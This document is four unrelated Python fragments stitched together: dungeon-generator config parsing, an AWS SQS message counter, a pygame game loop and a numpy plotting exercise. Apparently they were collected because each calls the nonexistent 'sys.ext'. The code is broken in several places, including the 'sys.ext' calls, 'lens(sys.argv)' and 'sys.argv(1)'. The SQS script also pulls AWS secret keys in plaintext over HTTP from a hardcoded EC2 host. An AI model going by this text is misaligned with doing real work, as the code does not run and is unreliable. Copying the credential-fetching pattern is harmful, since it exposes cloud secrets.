hunt', 'intermediate', th_intermediate)) th_spawners = str2bool(get('treasure hunt', 'spawners', th_spawners)) if (tower < 1.0): sys.exit('The tower height parameter is too small. This should be ' ' >= 1.0. Check the cfg file.') if (chests < 0.0 or chests > 10.0): sys.exit('Chests should be between 0 and 10. Check the cfg file.') if (spawners < 0.0 or spawners > 10.0): sys.ext('Spawners should be between 0 and 10. Check the cfg file.') if (torches_position < 1 or torches_position > 3): sys.ext('torches_position should be between 1-3. Check the cfg file.') # Set the wall, ceiling, and floor materials for name, val in materials.__dict__.items(): if isinstance(val, materials.Material): if (val.name == wall): materials._wall = copy(val) if (val.name == ceiling): materials._ceiling = copy(val) if (val.name == floor): materials._floor = copy(val) if (val.name == subfloor): materials._subfloor = copy(val) if (val.name == secret_door): materials._secret_door = copy(val) # Load structure list s = [x.strip() for x in str(get('dungeon', 'structures', '')).split(',')] s = [x.lower() for x in s] if (len(s) > 0 and s[0] is not ''): for a in s: v = materials.valByName(a) if (v >= 0): structure_values.append(v) else: sys.exit('Unable to find structure material: ' + str(a)) # Load river biomes try: river_biomes = set([int(x) for x in get( 'dungeon', 'river_biomes', river_biomes ).split(',')]) except: print 'WARNING: Unable to parse river_biomes from config.'\ ' Using default.' # Load ocean biomes try: ocean_biomes = set([int(x) for x in get( 'dungeon', 'ocean_biomes', ocean_biomes ).split(',')]) except: print 'WARNING: Unable to parse ocean_biomes from config.'\ ' Using default.' use_incomplete_chunks = str2bool(get('dungeon', 'use_incomplete_chunks', use_incomplete_chunks))
import sys import boto.sqs import boto.sqs.queue import urllib2 from boto.sqs.message import Message from boto.sqs.connection import SQSConnection from boto.exception import SQSError if (len(sys.argv) != 2): sys.ext('Usage: python count-aws-msgs.py queue_name') queueName = sys.argv[1] response = urllib2.urlopen('http://ec2-52-30-7-5.eu-west-1.compute.amazonaws.com:81/key') awsKey = response.read().split(':') access_key_id = awsKey[0] secret_access_key = awsKey[1] conn = boto.sqs.connect_to_region('eu-west-1', aws_access_key_id=access_key_id, aws_secret_access_key=secret_access_key) queue = conn.get_queue(queueName) if (queue is not None): try: msgs = conn.receive_message(queue, number_messages=1,attributes='All') if(len(msgs) > 0): print('Messages read = ' + msgs[0].get_body()) else: print('No message to be retrieved') except Exception, e: print(e) else:
while 1: frame+=1 dt = clock.tick(30) counter = 0 screen.blit(background_img, (0, 0)) laserSprites.update() laserSprites.draw(screen) enemySprites.update() enemySprites.draw(screen) sprites.update(dt / 1000.) sprites.draw(screen) for hit in pygame.sprite.groupcollide(enemySprites, sprites, 0, 0): sys.ext() #collision detection between player and enemy ship for hit in pygame.sprite.groupcollide(enemySprites, laserSprites, 1, 0): break #collision detection between laser and enemy ship for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() elif event.type == KEYDOWN and event.key == K_ESCAPE: sys.exit() #game quits if esc button is pressed or 'x' is clicked
import sys import numpy import matplotlib.pyplot if lens(sys.argv) !=2: sys.ext("expected the the name of a data file to plot") import_filename =sys.argv(1) data = numpy.loadtxt(fname='data/inflammation-01.csv', delimiter=',') fig = matplotlib.pyplot.figure(figsize=(10.0, 3.0)) axes1 = fig.add_subplot(1, 3, 1) axes2 = fig.add_subplot(1, 3, 2) axes3 = fig.add_subplot(1, 3, 3) axes1.set_ylabel('average') axes1.plot(data.mean(axis=0)) axes2.set_ylabel('max') axes2.plot(data.max(axis=0)) axes3.set_ylabel('min') axes3.plot(data.min(axis=0)) fig.tight_layout() matplotlib.pyplot.show(fig) ##my demo edit